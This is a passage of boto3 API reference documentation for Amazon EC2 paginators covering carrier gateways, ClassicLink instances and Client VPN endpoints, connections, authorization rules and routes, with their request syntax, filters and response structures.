**AvailabilityZoneId** _(string) --_ + + The Availability Zone ID of the Capacity Reservation. + + - **InstanceType** _(string) --_ + + The type of instance for which the Capacity Reservation reserves capacity. + + - **InstancePlatform** _(string) --_ + + The type of operating system for which the Capacity Reservation reserves capacity. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which the capacity is reserved. + + - **Tenancy** _(string) --_ + + Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + + - default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + - dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. + - **TotalInstanceCount** _(integer) --_ + + The total number of instances for which the Capacity Reservation reserves capacity. + + - **AvailableInstanceCount** _(integer) --_ + + The remaining capacity. Indicates the number of instances that can be launched in the Capacity Reservation. + + - **EbsOptimized** _(boolean) --_ + + Indicates whether the Capacity Reservation supports EBS-optimized instances. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS- optimized instance. + + - **EphemeralStorage** _(boolean) --_ + + Indicates whether the Capacity Reservation supports instances with temporary, block-level storage. + + - **State** _(string) --_ + + The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + + - active - The Capacity Reservation is active and the capacity is available for your use. + - expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + - cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + - pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + - failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + - **EndDate** _(datetime) --_ + + The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + + - **EndDateType** _(string) --_ + + Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + + - unlimited - The Capacity Reservation remains active until you explicitly cancel it. + - limited - The Capacity Reservation expires automatically at a specified date and time. + - **InstanceMatchCriteria** _(string) --_ + + Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + + - open - The Capacity Reservation accepts all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes launch into the Capacity Reservation automatically without specifying any additional parameters. + - targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + - **CreateDate** _(datetime) --_ + + The date and time at which the Capacity Reservation was created. + + - **Tags** _(list) --_ + + Any tags assigned to the Capacity Reservation. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeCarrierGateways + +paginator = client.get_paginator('describe_carrier_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_carrier_gateways()](#EC2.Client.describe_carrier_gateways "EC2.Client.describe_carrier_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCarrierGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + CarrierGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **CarrierGatewayIds** (_list_) -- + + One or more carrier gateway IDs. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - carrier-gateway-id - The ID of the carrier gateway. + - state - The state of the carrier gateway (pending | failed | available | deleting | deleted ). + - owner-id - The AWS account ID of the owner of the carrier gateway. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC associated with the carrier gateway. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CarrierGateways': [ + { + 'CarrierGatewayId': 'string', + 'VpcId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **CarrierGateways** _(list) --_ + + Information about the carrier gateway. + + - _(dict) --_ + + Describes a carrier gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **VpcId** _(string) --_ + + The ID of the VPC associated with the carrier gateway. + + - **State** _(string) --_ + + The state of the carrier gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the carrier gateway. + + - **Tags** _(list) --_ + + The tags assigned to the carrier gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeClassicLinkInstances + +paginator = client.get_paginator('describe_classic_link_instances') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_classic_link_instances()](#EC2.Client.describe_classic_link_instances "EC2.Client.describe_classic_link_instances"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClassicLinkInstances) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InstanceIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - group-id - The ID of a VPC security group that's associated with the instance. + - instance-id - The ID of the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC to which the instance is linked. vpc-id - The ID of the VPC that the instance is linked to. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceIds** (_list_) -- + + One or more instance IDs. Must be instances linked to a VPC through ClassicLink. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Instances': [ + { + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'InstanceId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Instances** _(list) --_ + + Information about one or more linked EC2-Classic instances. + + - _(dict) --_ + + Describes a linked EC2-Classic instance. + + - **Groups** _(list) --_ + + A list of security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Tags** _(list) --_ + + Any tags assigned to the instance. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +_class_ EC2.Paginator.DescribeClientVpnAuthorizationRules + +paginator = client.get_paginator('describe_client_vpn_authorization_rules') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_client_vpn_authorization_rules()](#EC2.Client.describe_client_vpn_authorization_rules "EC2.Client.describe_client_vpn_authorization_rules"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnAuthorizationRules) + +**Request Syntax** + +response_iterator = paginator.paginate( + ClientVpnEndpointId='string', + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - description - The description of the authorization rule. + - destination-cidr - The CIDR of the network to which the authorization rule applies. + - group-id - The ID of the Active Directory group to which the authorization rule grants access. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AuthorizationRules': [ + { + 'ClientVpnEndpointId': 'string', + 'Description': 'string', + 'GroupId': 'string', + 'AccessAll': True|False, + 'DestinationCidr': 'string', + 'Status': { + 'Code': 'authorizing'|'active'|'failed'|'revoking', + 'Message': 'string' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **AuthorizationRules** _(list) --_ + + Information about the authorization rules. + + - _(dict) --_ + + Information about an authorization rule. + + - **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the authorization rule is associated. + + - **Description** _(string) --_ + + A brief description of the authorization rule. + + - **GroupId** _(string) --_ + + The ID of the Active Directory group to which the authorization rule grants access. + + - **AccessAll** _(boolean) --_ + + Indicates whether the authorization rule grants access to all clients. + + - **DestinationCidr** _(string) --_ + + The IPv4 address range, in CIDR notation, of the network to which the authorization rule applies. + + - **Status** _(dict) --_ + + The current state of the authorization rule. + + - **Code** _(string) --_ + + The state of the authorization rule. + + - **Message** _(string) --_ + + A message about the status of the authorization rule, if applicable. + + +_class_ EC2.Paginator.DescribeClientVpnConnections + +paginator = client.get_paginator('describe_client_vpn_connections') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_client_vpn_connections()](#EC2.Client.describe_client_vpn_connections "EC2.Client.describe_client_vpn_connections"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnConnections) + +**Request Syntax** + +response_iterator = paginator.paginate( + ClientVpnEndpointId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - connection-id - The ID of the connection. + - username - For Active Directory client authentication, the user name of the client who established the client connection. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Connections': [ + { + 'ClientVpnEndpointId': 'string', + 'Timestamp': 'string', + 'ConnectionId': 'string', + 'Username': 'string', + 'ConnectionEstablishedTime': 'string', + 'IngressBytes': 'string', + 'EgressBytes': 'string', + 'IngressPackets': 'string', + 'EgressPackets': 'string', + 'ClientIp': 'string', + 'CommonName': 'string', + 'Status': { + 'Code': 'active'|'failed-to-terminate'|'terminating'|'terminated', + 'Message': 'string' + }, + 'ConnectionEndTime': 'string', + 'PostureComplianceStatuses': [ + 'string', + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Connections** _(list) --_ + + Information about the active and terminated client connections. + + - _(dict) --_ + + Describes a client connection. + + - **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint to which the client is connected. + + - **Timestamp** _(string) --_ + + The current date and time. + + - **ConnectionId** _(string) --_ + + The ID of the client connection. + + - **Username** _(string) --_ + + The username of the client who established the client connection. This information is only provided if Active Directory client authentication is used. + + - **ConnectionEstablishedTime** _(string) --_ + + The date and time the client connection was established. + + - **IngressBytes** _(string) --_ + + The number of bytes sent by the client. + + - **EgressBytes** _(string) --_ + + The number of bytes received by the client. + + - **IngressPackets** _(string) --_ + + The number of packets sent by the client. + + - **EgressPackets** _(string) --_ + + The number of packets received by the client. + + - **ClientIp** _(string) --_ + + The IP address of the client. + + - **CommonName** _(string) --_ + + The common name associated with the client. This is either the name of the client certificate, or the Active Directory user name. + + - **Status** _(dict) --_ + + The current state of the client connection. + + - **Code** _(string) --_ + + The state of the client connection. + + - **Message** _(string) --_ + + A message about the status of the client connection, if applicable. + + - **ConnectionEndTime** _(string) --_ + + The date and time the client connection was terminated. + + - **PostureComplianceStatuses** _(list) --_ + + The statuses returned by the client connect handler for posture compliance, if applicable. + + - _(string) --_ + +_class_ EC2.Paginator.DescribeClientVpnEndpoints + +paginator = client.get_paginator('describe_client_vpn_endpoints') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_client_vpn_endpoints()](#EC2.Client.describe_client_vpn_endpoints "EC2.Client.describe_client_vpn_endpoints"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnEndpoints) + +**Request Syntax** + +response_iterator = paginator.paginate( + ClientVpnEndpointIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **ClientVpnEndpointIds** (_list_) -- + + The ID of the Client VPN endpoint. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - endpoint-id - The ID of the Client VPN endpoint. + - transport-protocol - The transport protocol (tcp | udp ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnEndpoints': [ + { + 'ClientVpnEndpointId': 'string', + 'Description': 'string', + 'Status': { + 'Code': 'pending-associate'|'available'|'deleting'|'deleted', + 'Message': 'string' + }, + 'CreationTime': 'string', + 'DeletionTime': 'string', + 'DnsName': 'string', + 'ClientCidrBlock': 'string', + 'DnsServers': [ + 'string', + ], + 'SplitTunnel': True|False, + 'VpnProtocol': 'openvpn', + 'TransportProtocol': 'tcp'|'udp', + 'VpnPort': 123, + 'AssociatedTargetNetworks': [ + { + 'NetworkId': 'string', + 'NetworkType': 'vpc' + }, + ], + 'ServerCertificateArn': 'string', + 'AuthenticationOptions': [ + { + 'Type': 'certificate-authentication'|'directory-service-authentication'|'federated-authentication', + 'ActiveDirectory': { + 'DirectoryId': 'string' + }, + 'MutualAuthentication': { + 'ClientRootCertificateChain': 'string' + }, + 'FederatedAuthentication': { + 'SamlProviderArn': 'string', + 'SelfServiceSamlProviderArn': 'string' + } + }, + ], + 'ConnectionLogOptions': { + 'Enabled': True|False, + 'CloudwatchLogGroup': 'string', + 'CloudwatchLogStream': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'VpcId': 'string', + 'SelfServicePortalUrl': 'string', + 'ClientConnectOptions': { + 'Enabled': True|False, + 'LambdaFunctionArn': 'string&##39;, + 'Status': { + 'Code': 'applying'|'applied', + 'Message': 'string' + } + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ClientVpnEndpoints** _(list) --_ + + Information about the Client VPN endpoints. + + - _(dict) --_ + + Describes a Client VPN endpoint. + + - **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint. + + - **Description** _(string) --_ + + A brief description of the endpoint. + + - **Status** _(dict) --_ + + The current state of the Client VPN endpoint. + + - **Code** _(string) --_ + + The state of the Client VPN endpoint. Possible states include: + + - pending-associate - The Client VPN endpoint has been created but no target networks have been associated. The Client VPN endpoint cannot accept connections. + - available - The Client VPN endpoint has been created and a target network has been associated. The Client VPN endpoint can accept connections. + - deleting - The Client VPN endpoint is being deleted. The Client VPN endpoint cannot accept connections. + - deleted - The Client VPN endpoint has been deleted. The Client VPN endpoint cannot accept connections. + - **Message** _(string) --_ + + A message about the status of the Client VPN endpoint. + + - **CreationTime** _(string) --_ + + The date and time the Client VPN endpoint was created. + + - **DeletionTime** _(string) --_ + + The date and time the Client VPN endpoint was deleted, if applicable. + + - **DnsName** _(string) --_ + + The DNS name to be used by clients when connecting to the Client VPN endpoint. + + - **ClientCidrBlock** _(string) --_ + + The IPv4 address range, in CIDR notation, from which client IP addresses are assigned. + + - **DnsServers** _(list) --_ + + Information about the DNS servers to be used for DNS resolution. + + - _(string) --_ + - **SplitTunnel** _(boolean) --_ + + Indicates whether split-tunnel is enabled in the AWS Client VPN endpoint. + + For information about split-tunnel VPN endpoints, see [Split-Tunnel AWS Client VPN Endpoint](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/split-tunnel-vpn.html) in the _AWS Client VPN Administrator Guide_ . + + - **VpnProtocol** _(string) --_ + + The protocol used by the VPN session. + + - **TransportProtocol** _(string) --_ + + The transport protocol used by the Client VPN endpoint. + + - **VpnPort** _(integer) --_ + + The port number for the Client VPN endpoint. + + - **AssociatedTargetNetworks** _(list) --_ + + Information about the associated target networks. A target network is a subnet in a VPC. + + - _(dict) --_ + + Describes a target network that is associated with a Client VPN endpoint. A target network is a subnet in a VPC. + + - **NetworkId** _(string) --_ + + The ID of the subnet. + + - **NetworkType** _(string) --_ + + The target network type. + + - **ServerCertificateArn** _(string) --_ + + The ARN of the server certificate. + + - **AuthenticationOptions** _(list) --_ + + Information about the authentication method used by the Client VPN endpoint. + + - _(dict) --_ + + Describes the authentication methods used by a Client VPN endpoint. For more information, see [Authentication](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/client-authentication.html) in the _AWS Client VPN Administrator Guide_ . + + - **Type** _(string) --_ + + The authentication type used. + + - **ActiveDirectory** _(dict) --_ + + Information about the Active Directory, if applicable. + + - **DirectoryId** _(string) --_ + + The ID of the Active Directory used for authentication. + + - **MutualAuthentication** _(dict) --_ + + Information about the authentication certificates, if applicable. + + - **ClientRootCertificateChain** _(string) --_ + + The ARN of the client certificate. + + - **FederatedAuthentication** _(dict) --_ + + Information about the IAM SAML identity provider, if applicable. + + - **SamlProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider. + + - **SelfServiceSamlProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider for the self-service portal. + + - **ConnectionLogOptions** _(dict) --_ + + Information about the client connection logging options for the Client VPN endpoint. + + - **Enabled** _(boolean) --_ + + Indicates whether client connection logging is enabled for the Client VPN endpoint. + + - **CloudwatchLogGroup** _(string) --_ + + The name of the Amazon CloudWatch Logs log group to which connection logging data is published. + + - **CloudwatchLogStream** _(string) --_ + + The name of the Amazon CloudWatch Logs log stream to which connection logging data is published. + + - **Tags** _(list) --_ + + Any tags assigned to the Client VPN endpoint. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **SecurityGroupIds** _(list) --_ + + The IDs of the security groups for the target network. + + - _(string) --_ + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **SelfServicePortalUrl** _(string) --_ + + The URL of the self-service portal. + + - **ClientConnectOptions** _(dict) --_ + + The options for managing connection authorization for new client connections. + + - **Enabled** _(boolean) --_ + + Indicates whether client connect options are enabled. + + - **LambdaFunctionArn** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Lambda function used for connection authorization. + + - **Status** _(dict) --_ + + The status of any updates to the client connect options. + + - **Code** _(string) --_ + + The status code. + + - **Message** _(string) --_ + + The status message. + + +_class_ EC2.Paginator.DescribeClientVpnRoutes + +paginator = client.get_paginator('describe_client_vpn_routes') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_client_vpn_routes()](#EC2.Client.describe_client_vpn_routes "EC2.Client.describe_client_vpn_routes"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnRoutes) + +**Request Syntax** + +response_iterator = paginator.paginate( + ClientVpnEndpointId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - destination-cidr - The CIDR of the route destination. + - origin - How the route was associated with the Client VPN endpoint (associate | add-route ). + - target-subnet - The ID of the subnet through which traffic is routed. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Routes': [ + { + 'ClientVpnEndpointId': 'string', + 'DestinationCidr': 'string', + 'TargetSubnet': 'string', + 'Type': 'string', + 'Origin': 'string', + 'Status': { + 'Code': 'creating'|'active'|'failed'|'deleting', + 'Message': 'string' + }, + 'Description': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Routes** _(list) --_ + + Information about the Client VPN endpoint routes. + + - _(dict) --_ + + Information about a Client VPN endpoint route. + + - **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the route is associated. + + - **DestinationCidr** _(string) --_ + + The IPv4 address range, in CIDR notation, of the route destination. + + - **TargetSubnet** _(string) --_ + + The ID of the subnet through which traffic is routed. + + - **Type** _(string) --_ + + The route type. + + - **Origin** _(string) --_ + + Indicates how the route was associated with the Client VPN endpoint. associate indicates that the route was automatically added when the target network was associated with the Client VPN endpoint. add-route indicates that the route was manually added using the **CreateClientVpnRoute** action. + + - **Status** _(dict) --_ + + The current state of the route. + + - **Code** _(string) --_ + + The state of the Client VPN endpoint route. + + - **Message** _(string) --_ + + A message about the status of the Client VPN endpoint route, if applicable. + + - **Description** _(string) --_ + + A brief description of the route. + + +_class_ EC2.Paginator.DescribeClientVpnTargetNetworks + +paginator = client.get_paginator('describe_client_vpn_target_networks') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_client_vpn_target_networks()](#EC2.Client.describe_client_vpn_target_networks "EC2.Client.describe_client_vpn_target_networks"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnTargetNetworks) + +**Request Syntax** + +response_iterator = paginator.paginate( + ClientVpnEndpointId='string', + AssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +- **AssociationIds** (_list_) -- + + The IDs of the target network associations. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - association-id - The ID of the association. + - 